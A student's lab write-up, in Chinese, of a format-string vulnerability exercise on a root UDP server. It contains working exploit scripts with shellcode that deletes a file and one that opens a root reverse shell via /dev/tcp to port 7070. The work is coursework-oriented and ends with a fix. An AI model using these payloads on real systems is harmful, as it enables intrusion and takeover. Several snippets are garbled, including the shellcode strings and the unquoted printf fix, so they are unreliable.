目录
1.0 概述
C中的printf()函数是用来按照一种格式打印出一个字符串的。它的第一个参数叫做格式字符串,它定义了字符串的格式。格式字符串使用printf()函数的%字符标记的占位符在打印过程中填充数据。格式字符串的使用不仅仅局限于printf()函数;许多其他函数,如sprintf(),fprintf(),和scanf(),也使用格式字符串。有些程序允许用户以格式字符串提供全部或部分内容。如果这些内容没有被清理,恶意用户可以利用这个机会让程序运行任意代码。类似这样的问题称为格式字符串漏洞。
本实验的目的是让学生通过将他们从课堂上学到的关于格式字符串漏洞的知识付诸行动,获得关于该漏洞的第一手经验。学生将获得一个带有格式字符串漏洞的程序;他们的任务是利用该漏洞造成以下损害:(1)使程序崩溃,(2)读取程序的内部内存,(3)修改程序的内部内存,最严重的是,(4)利用受害程序的权限注入并执行恶意代码。本实验涵盖以下主题:
- 格式字符串漏洞
- 代码注入
- shell编码
- 反向shell
2.0 实验任务
为了简化本实验中的任务,我们使用以下命令关闭地址随机化:
$ sudo sysctl -w kernel .randomize_va_space=0
2.1 task1 易受攻击程序
您得到了一个有格式字符串漏洞的易受攻击程序。这个程序是一个服务器程序。运行时监听UDP端口9090.每当UDP数据包到达该端口时,程序都会获取数据并调用myprintf()来打印出数据。服务器是根守护进程,即,。它以root权限运行。myprintf()函数内部存在格式字符串漏洞。我们将利用此漏洞获得根权限。
易受攻击的服务器程序server.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#define PORT 9090
/* Changing this size will change the layout of the stack.
* We have added 2 dummy arrays: in main() and myprintf().
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past.
* Suggested value: between 0 and 300 */
#ifndef DUMMY_SIZE
#define DUMMY_SIZE 100
#endif
char *secret = "A secret message\n";
unsigned int target = 0x11223344;
void myprintf(char *msg)
{
uintptr_t framep;
// Copy the ebp value into framep, and print it out
asm("movl %%ebp, %0" : "=r"(framep));
printf("The ebp value inside myprintf() is: 0x%.8x\n", framep);
/* Change the size of the dummy array to randomize the parameters
for this lab. Need to use the array at least once */
char dummy[DUMMY_SIZE]; memset(dummy, 0, DUMMY_SIZE);
// This line has a format-string vulnerability
printf(msg);
printf("The value of the 'target' variable (after): 0x%.8x\n", target);
}
/* This function provides some helpful information. It is meant to
* simplify the lab tasks. In practice, attackers need to figure
* out the information by themselves. */
void helper()
{
printf("The address of the secret: 0x%.8x\n", (unsigned) secret);
printf("The address of the 'target' variable: 0x%.8x\n",
(unsigned) &target);
printf("The value of the 'target' variable (before): 0x%.8x\n", target);
}
void main()
{
struct sockaddr_in server;
struct sockaddr_in client;
int clientLen;
char buf[1500];
/* Change the size of the dummy array to randomize the parameters
for this lab. Need to use the array at least once */
char dummy[DUMMY_SIZE]; memset(dummy, 0, DUMMY_SIZE);
printf("The address of the input array: 0x%.8x\n", (unsigned) buf);
helper();
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
memset((char *) &server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = htons(PORT);
if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0)
perror("ERROR on binding");
while (1) {
bzero(buf, 1500);
recvfrom(sock, buf, 1500-1, 0,
(struct sockaddr *) &client, &clientLen);
myprintf(buf);
}
close(sock);
}
编译。编译以上程序,你将收到一条警告消息。此警告消息是gcc编译器针对格式字符串漏洞实施的对策。我们可以暂时忽略这个警告信息。
// Note: N should be replaced by the value set by the instructor
$ gcc -DDUMMY_SIZE=N -z execstack -o server server.c
server.c: In function ’myprintf’:
server.c:13:5: warning: format not a string literal and no format arguments [-Wformat-security] printf(msg);
ˆ
需要注意的是,程序需要使用“-z execstack”选项进行编译,这使得堆栈可以执行。此选项对任务1至5没有影响,但对任务6和7来说,它很重要。在这两个任务中,我们需要向这个服务器程序的栈空间注入恶意代码;如果堆栈不可执行,任务6和7将失败。不可执行堆栈是针对基于堆栈的代码注入攻击的一种对策,但使用返回到libc技术可以将其击败。为了简化本实验,我们只需禁用这种可击败的对策。
运行并测试服务器。本实验的理想设置是在一个虚拟机上运行服务器,然后从另一个虚拟机发起攻击。但是,如果学生在本实验中使用一台虚拟机,这是可以接受的。在服务器虚拟机上,我们使用根权限运行我们的服务器程序。我们假设这个程序是一个特权根守护进程。服务器监听端口9090.在客户机VM上,我们可以使用nc命令向服务器发送数据,其中标志“-u”表示
UDP(服务器程序是UDP服务器)。以下示例中的IP地址应替换为服务器虚拟机的实际IP地址,或者如果客户端和服务器运行在同一虚拟机上,则替换为127.0.0.1。
// On the server VM
$ sudo ./server
// On the client VM: send a "hello" message to the server
$ echo hello | nc -u 10.0.2.5 9090
// On the client VM: send the content of badfile to the server
$ nc -u 10.0.2.5 9090 < badfile
你可以向服务器发送任何数据。服务器程序应该打印出你发送的任何东西。然而,在服务器程序的myprintf()函数中存在一个格式字符串漏洞,它允许我们让服务器程序做更多它应该做的事情,包括给我们一个服务器机器的根访问权限。在本实验的其余部分,我们将利用此漏洞。
实验步骤:
关闭地址随机化:
创建易受攻击程序service.c:
编译server.c文件:有警告提示(如果出现helper()的警告是因为实验报告中的代码不完整,少了helper函数,得去seed官网下载完整代码,此处我已经补全了。)
void helper()
{
printf("The address of the secret: 0x%.8x\n", (unsigned) secret);
printf("The address of the 'target' variable: 0x%.8x\n",
(unsigned) &target);
printf("The value of the 'target' variable (before): 0x%.8x\n", target);
}
查看虚拟机ip地址:ifconfig -> ip地址为10.0.2.15
当前终端作为服务端,再开一个终端作为客户端,
服务端接受到客户端发的字符hello: (按ctrl+C退出当前进程)
发送badfile文件中的内容给服务端:
创建badfile、并输入一些内容:
发送给服务端、服务端显示badfile中的信息:
2.2 task2 理解堆栈的布局
为了在本实验中取得成功,当在myprintf()中调用printf()函数时,理解堆栈布局非常重要。图1描述了堆栈布局。你需要进行一些调查和计算。我们有意在服务器代码中打印出一些信息,以帮助简化调查。根据调查,学生应回答以下问题:
- 问题1:由①②③标记的位置上的内存地址是什么?
- 问题2:①和③标记的位置之间的距离是多少?
实验步骤:
通过gdb断点查找地址:
run一下:
1.根据task1的运行图,可以看到①的内存地址即为0xbffff0e0,ebp的地址为0xbffff038'
2.计算②、③的地址:
利用GDB调试:gdb server,(要注意GDB中数据与直接运行是的数据并不一样,GDB调试主要是为了让我们找到数据间的关系)
进入gdb调试:gdb -q server、然后查看main()的汇编代码,找到myprintf()的返回地址
如上图,0x080487e5为call myprintf后的地址,既是返回地址。
下断点 b myprintf,r 运行
使用python来实现一个有效载荷并交互,来打印栈中的内容:
打开另一个终端:
可以看到在gdb调试中,①的地址为0xbfffe7b0,msg也指向该地址
i frame:查看当前程序栈的信息:
可以看到,返回地址在内存地址:0xbfffe70c 处,ebp地址为0xbfffe708,即返回地址为ebp + 4,由于程序会打印出ebp的值,所以在实际运行时我们便能知道②返回地址的位置为ebp + 4,即为0xbffff038+4 = 0xbffff03c。
我们的载荷以AAAA为标志,发现AAAA到41414141的距离为79,即格式化字符串是在栈上的第79个参数。
2.3 task3崩溃程序
实验步骤:
2.4 task4 打印出服务器程序的内存
这项任务的目标是让服务器从内存中打印出一些数据。数据会在服务器端打印出来,所以攻击者看不到。因此,这不是一个有意义的攻击,但是在这个任务中使用的技术对于后续任务来说是必不可少的。
图1:从myprintf()函数内部调用printf()时的堆栈布局
task4 A:栈数据。目标是打印出堆栈上的数据(任何数据都可以)。您需要提供多少格式说明符才能让服务器程序通过%x打印出您输入的前四个字节?
task4 B:堆数据堆区存储着一条秘密消息,你知道它的地址;你的工作是打印出秘密信息的内容。为了实现这个目标,您需要将秘密消息的地址(以二进制形式)放在您的输入中(即,。格式字符串),但是很难在终端内键入二进制数据。我们可以用下面的命令做到这一点。
$ echo $(printf "\x04\xF3\xFF\xBF")%.8x%.8x | nc -u 10.0.2.5 9090
// Or we can save the data in a file
$ echo $(printf "\x04\xF3\xFF\xBF")%.8x%.8x > badfile
$ nc -u 10.0.2.5 9090 < badfile
需要注意的是,大多数计算机都是小端机器,所以要在内存中存储一个地址0xAABBCCdd(32位机器上的四个字节),最低有效字节0xDD存储在较低的地址,最高有效字节0xAA存储在较高的地址。因此,当我们将地址存储在缓冲区中时,我们需要按照以下顺序保存它:0xDD、0xCC、0xBB,然后0xAA。
Python代码。因为我们需要构造的格式字符串可能相当长,所以写一个Python程序来做构造更方便。下面的示例代码显示了如何构造包含二进制数的字符串。
示例代码buildstring.py:
#!/usr/bin/python3
import sys
# Initialize the content array
N = 1500
content = bytearray(0x0 for i in range(N))
# This line shows how to store an integer at offset 0
number = 0xbfffeeee
content[0:4] = (number).to_bytes(4,byteorder=’little’)
# This line shows how to store a 4-byte string at offset 4
content[4:8] = ("abcd").encode(’latin-1’)
# This line shows how to construct a string s with
# 12 of "%.8x", concatenated with a "%s"
s = "%.8x"*12 + "%s"
# The line shows how to store the string s at offset 8
fmt = (s).encode(’latin-1’)
content[8:8+len(fmt)] = fmt
# Write the content to badfile
file = open("badfile", "wb")
file.write(content)
file.close()
实验步骤:
task4 A :
task4 B:
修改build_string.py:
2.5 task5 改变服务器程序的内存
此任务的目标是修改服务器程序中定义的目标变量值。它的原始值是0x11223344.假设这个变量持有一个重要的值,可以影响程序的控制流。如果远程攻击者可以改变它的值,他们就可以改变这个程序的行为。我们有三个子任务。
task5 A:请将该值更改为不同的值。在这个子任务中,我们需要将目标变量的内容更改为其他内容。如果你能把你的任务改变成一个不同的值,不管它是什么值,你的任务都被认为是成功的。
task5 B:把值改成0x500.在这个子任务中,我们需要将目标变量的内容更改为特定值0x500。只有当变量的值变为0x500时,您的任务才被视为成功。
task5 C:将值改为0xFF990000。这个子任务和上一个类似,只是目标值现在是一个很大的数字。在格式字符串攻击中,该值是printf()函数打印出的字符总数;打印这么多字符可能需要几个小时。你需要使用更快的方法。基本思想是用%hn,而不是%n,这样我们就可以修改一个两字节的内存空间,而不是四字节。打印出216个字符不需要太多时间。我们可以将目标变量的内存空间分成两个内存块,每个内存块有两个字节。我们只需要将一个块设置为0xFF99,并将另一个设置为0x0000.这意味着在您的攻击中,您需要在格式字符串中提供两个地址。
在格式字符串攻击中,将一个内存空间的内容更改为一个非常小的值是相当具有挑战性的(请在报告中说明原因);0x00是一个极端情况。为了实现这个目标,我们需要使用溢出技术。基本思想是,当我们使一个数大于存储所允许的范围时,只会存储该数的较低部分(基本上存在整数溢出)。例如,如果数字2^16+5存储在16位存储空间中,则只会存储5。因此,要得到零,我们只需要得到数字2^16 =65,536。
实验步骤:
task5 A:
task5 B:
我们希望打印0x500,0x500是1280个字符,我们已经打印了0x280=640个字符,并且如果我们把已经⼀个%x作为 修正的话,我们还需要减去8个字符,也就是1280-640+8=648个字符。也就是说除了78个%x,我们需要打印648 个字符,可以看到,我们已经得到了我们的结果。 0x500=1280 0x280=640 1280-640=648 640 + 8 = 648
task5 C:
我们希望打印出来0xFF990000,我们需要两步来计算,第⼀个放2个字节,第⼆步放2个字节,因为我们希望放⼊ 0xFF990000,说明我们需要放⼊⾼位,然后通过溢出得到低位,⾼位的值为65433,低位的值为65536,可以看 到我们的计算如下。 FF99=65433 65433 - 78 * 9 - 12 = 64718 65536 - 65433 = 103
2.6 task6 将恶意代码注入服务器程序
现在我们准备好去寻找这次攻击的皇冠上的宝石,也就是。向服务器程序注入一段恶意代码,这样我们就可以从服务器上删除一个文件。这项任务将为我们的下一项任务奠定基础,即获得对服务器计算机的完全控制。
为了完成这项任务,我们需要将一段二进制格式的恶意代码注入服务器的内存,然后使用格式字符串漏洞修改函数的返回地址字段,这样当函数返回时,它就会跳转到我们注入的代码。要删除一个文件,我们希望恶意代码使用一个外壳程序来执行/bin/rm命令,比如/bin/bash。这种类型的代码称为shellcode。
/bin/bash -c "/bin/rm /tmp/myfile"
我们需要使用execute()系统调用来执行上面的shellcode命令,这意味着向execute()提供以下参数:
execve(address to the "/bin/bash" string, address to argv[], 0),
where argv[0] = address of the "/bin/bash" string,
argv[1] = address of the "-c" string,
argv[2] = address of the "/bin/rm /tmp/myfile" string,
argv[3] = 0
我们需要编写机器代码来调用execve()系统调用,这包括在调用“int 0x80”指令之前设置以下四个寄存器。
eax = 0x0B (execve()’s system call number)
ebx = address of the "/bin/bash" string (argument 1)
ecx = address of argv[] (argument 2)
edx = 0 (argument 3, for environment variables; we set it to NULL)
在shellcode中设置这四个寄存器是很有挑战性的,主要是因为我们不能在代码中有任何零(字符串中的零会终止字符串)。我们在下面提供了shell代码。shell代码的详细解释可以在缓冲区溢出实验室和SEED书(第二版)的第4.7章中找到。
server_exploit_skeleton.py:
# The following code runs "/bin/bash -c ’/bin/rm /tmp/myfile’"
malicious_code= (
# Push the command ’/binbash’ into stack ( is equivalent to /)
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""bash" # pushl "bash"
"\x68""" # pushl ""
"\x68""/bin" # pushl "/bin"
"\x89\xe3" # movl %esp, %ebx
# Push the 1st argument ’-ccc’ into stack (-ccc is equivalent to -c)
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""-ccc" # pushl "-ccc"
"\x89\xe0" # movl %esp, %eax
# Push the 2nd argument into the stack:
# ’/bin/rm /tmp/myfile’
# Students need to use their own VM’s IP address
"\x31\xd2" # xorl %edx,%edx
"\x52" # pushl %edx
"\x68"" " # pushl (an integer) ➀
"\x68""ile " # pushl (an integer)
"\x68""/myf" # pushl (an integer)
"\x68""/tmp" # pushl (an integer)
"\x68""/rm " # pushl (an integer)
"\x68""/bin" # pushl (an integer) ➁
"\x89\xe2" # movl %esp,%edx
# Construct the argv[] array and set ecx
"\x31\xc9" # xorl %ecx,%ecx
"\x51" # pushl %ecx
"\x52" # pushl %edx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
# Set edx to 0
"\x31\xd2" #xorl %edx,%edx
# Invoke the system call
"\x31\xc0" # xorl %eax,%eax
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
).encode(’latin-1’)
你需要注意①和②之间的代码。这是我们将/bin/rm命令字符串推入堆栈的地方。在这个任务中,您不需要修改这个部分,但是对于下一个任务,您确实需要修改它。pushl指令只能将一个32位整数推入堆栈;这就是为什么我们把字符串分成几个4字节的块。由于这是一个shell命令,添加额外的空格不会改变命令的含义;因此,如果字符串的长度不能除以4,您总是可以添加额外的空格。堆栈从高地址向低地址增长(即,。反向),所以我们需要将字符串也反向推入堆栈。
在shellcode中,当我们将“/bin/bash”存储到堆栈中时,我们存储“/bin///bash”,它的长度是12,是4的倍数。execve()会忽略附加的“/”。类似地,当我们将“-c”存储到堆栈中时,我们存储“-ccc”,将长度增加到4.对于bash,那些额外的c被认为是多余的。
请构造您的输入,将其馈送到服务器程序,并演示您可以成功删除目标文件。在您的实验报告中,您需要解释您的格式字符串是如何构造的。请在图1中标记您的恶意代码存储在哪里(请提供具体地址)。
实验步骤:
exploit.py:
#!/usr/bin/python3
import sys
# The following code runs "/bin/bash -c ’/bin/rm /tmp/myfile’"
malicious_code= (
# Push the command ’/binbash’ into stack ( is equivalent to /)
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""bash" # pushl "bash"
"\x68""" # pushl ""
"\x68""/bin" # pushl "/bin"
"\x89\xe3" # movl %esp, %ebx
# Push the 1st argument ’-ccc’ into stack (-ccc is equivalent to -c)
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""-ccc" # pushl "-ccc"
"\x89\xe0" # movl %esp, %eax
# Push the 2nd argument into the stack:
# ’/bin/rm /tmp/myfile’
# Students need to use their own VM’s IP address
"\x31\xd2" # xorl %edx,%edx
"\x52" # pushl %edx
"\x68"" " # pushl (an integer) ➀
"\x68""ile " # pushl (an integer)
"\x68""/myf" # pushl (an integer)
"\x68""/tmp" # pushl (an integer)
"\x68""/rm " # pushl (an integer)
"\x68""/bin" # pushl (an integer) ➁
"\x89\xe2" # movl %esp,%edx
# Construct the argv[] array and set ecx
"\x31\xc9" # xorl %ecx,%ecx
"\x51" # pushl %ecx
"\x52" # pushl %edx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
# Set edx to 0
"\x31\xd2" #xorl %edx,%edx
# Invoke the system call
"\x31\xc0" # xorl %eax,%eax
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
).encode('latin-1')
N=1200
content=bytearray(0x90 for i in range(N))
# This line shows how to store an integer at offset 0
start = N -len(malicious_code)
content[start:] = malicious_code
number = 0xbffff03e
content[0:4] = (number).to_bytes(4,byteorder='little')
# This line shows how to store a 4-byte string at offset 4
content[4:8] = ("abcd").encode('latin-1')
# This line shows how to construct a string s with
# 12 of "%.8x", concatenated with a "%s"
number2 = 0xbffff03c
content[8:12] = (number2).to_bytes(4,byteorder='little')
s = "%.8x"*78 + "%.48515x"+"%hn"+"%.13065x"+"%hn"
# The line shows how to store the string s at offset 8
fmt = (s).encode('latin-1')
content[12:12+len(fmt)] = fmt
# Write the content to badfile
file = open("badfile", "wb")
file.write(content)
file.close()
再查看tmp中的myfile,发现myfile被删除:
2.7 task7 获取反向shell
当攻击者能够向受害者的机器注入命令时,他们对在受害者机器上运行一个简单的命令不感兴趣;他们对运行许多命令更感兴趣。攻击者想要达到的目的是利用攻击建立一个后门,这样就可以利用这个后门方便地进行进一步的破坏。
设置后门的一个典型方法是从受害者机器运行一个反向外壳,让攻击者获得进入受害者机器的外壳。反向shell是在远程机器上运行的shell进程,连接回攻击者的机器。一旦远程机器受到攻击,攻击者就可以方便地访问远程机器。SEED书(第二版)第9章提供了关于反向外壳如何工作的解释。也可以在Shellshock攻击实验室和TCP攻击实验室的指南部分找到。
为了得到一个反向shell,我们需要首先在攻击者机器上运行一个TCP服务器。该服务器等待我们的恶意代码从受害服务器机器上回调。以下nc命令创建一个侦听端口7070的TCP服务器:
$ nc -l 7070 -v
您需要修改server_exploit_skeleton.py中列出的shell代码,因此您的外壳代码不是使用bash运行/bin/rm命令,而是运行以下命令。该示例假设攻击者机器的IP地址是10.0.2.6,因此您需要在代码中更改IP地址:
/bin/bash -c "/bin/bash -i > /dev/tcp/10.0.2.6/7070 0&1"
您只需要修改第①行和第②行之间的代码... 命令由shellcode执行,而不是/bin/rm命令。一旦你完成了外壳代码,你应该构造你的格式字符串,把它作为输入发送给受害者服务器。如果你的攻击成功了,你的TCP服务器应该会得到一个回调,你会在受害机器上得到一个根shell。请在您的报告中提供成功的证据(包括截图)。
实验步骤:
exploit_t7.py:(拷贝exploit.py文件修改部分代码、填充/bin/bash -c "/bin/bash -i > /dev/tcp/10.0.2.15/7070 0&1"、注意本机ip地址是10.0.2.15)
#!/usr/bin/python3
import sys
malicious_code= (
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""bash" # pushl "bash"
"\x68""" # pushl ""
"\x68""/bin" # pushl "/bin"
"\x89\xe3" # movl %esp, %ebx
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""-ccc" # pushl "-ccc"
"\x89\xe0" # movl %esp, %eax
"\x31\xd2" # xorl %edx,%edx
"\x52" # pushl %edx
#修改部分start
"\x68""1 "
"\x68"" 2>&"
"\x68""0<&1"
"\x68""070 "
"\x68""15/7"
"\x68""0.2."
"\x68""/10."
"\x68""/tcp" # pushl (an integer) ➀
"\x68""/dev" # pushl (an integer)
"\x68"" > " # pushl (an integer)
"\x68""h -i" # pushl (an integer)
"\x68""/bas" # pushl (an integer)
"\x68""/bin" # pushl (an integer) ➁
#修改本部分 end
"\x89\xe2" # movl %esp,%edx
"\x31\xc9" # xorl %ecx,%ecx
"\x51" # pushl %ecx
"\x52" # pushl %edx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
"\x31\xd2" #xorl %edx,%edx
"\x31\xc0" # xorl %eax,%eax
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
).encode('latin-1')
N=1200
content=bytearray(0x90 for i in range(N))
# This line shows how to store an integer at offset 0
start = N -len(malicious_code)
content[start:] = malicious_code
number = 0xbffff03e
content[0:4] = (number).to_bytes(4,byteorder='little')
# This line shows how to store a 4-byte string at offset 4
content[4:8] = ("abcd").encode('latin-1')
# This line shows how to construct a string s with
# 12 of "%.8x", concatenated with a "%s"
number2 = 0xbffff03c
content[8:12] = (number2).to_bytes(4,byteorder='little')
s = "%.8x"*78 + "%.48515x"+"%hn"+"%.13065x"+"%hn"
# The line shows how to store the string s at offset 8
fmt = (s).encode('latin-1')
content[12:12+len(fmt)] = fmt
# Write the content to badfile
file = open("badfile", "wb")
file.write(content)
file.close()
打开三个终端,一个监听7070端口、一个打开服务器server程序、一个编译exploit_t7.py后发生badfile文件给服务器:
监听7070端口的终端成功进入到了root权限:
2.8 task8 解决问题
还记得gcc编译器生成的警告消息吗?请解释一下是什么意思。请修复服务器程序中的漏洞,并重新编译它。编译器警告消失了吗?你的攻击还有效吗?你只需要尝试你的一次攻击,看看它是否仍然有效。
修复前:
修复:打开server.c、将printf(msg)改为printf(%s,msg)
修复后:
整理不易、科软的师弟师妹给学姐点个赞吧~~!!!
需要更多科软课程资料关注“小柒很爱喵”,回复【Q群】进群拿导图、和各科复习资料。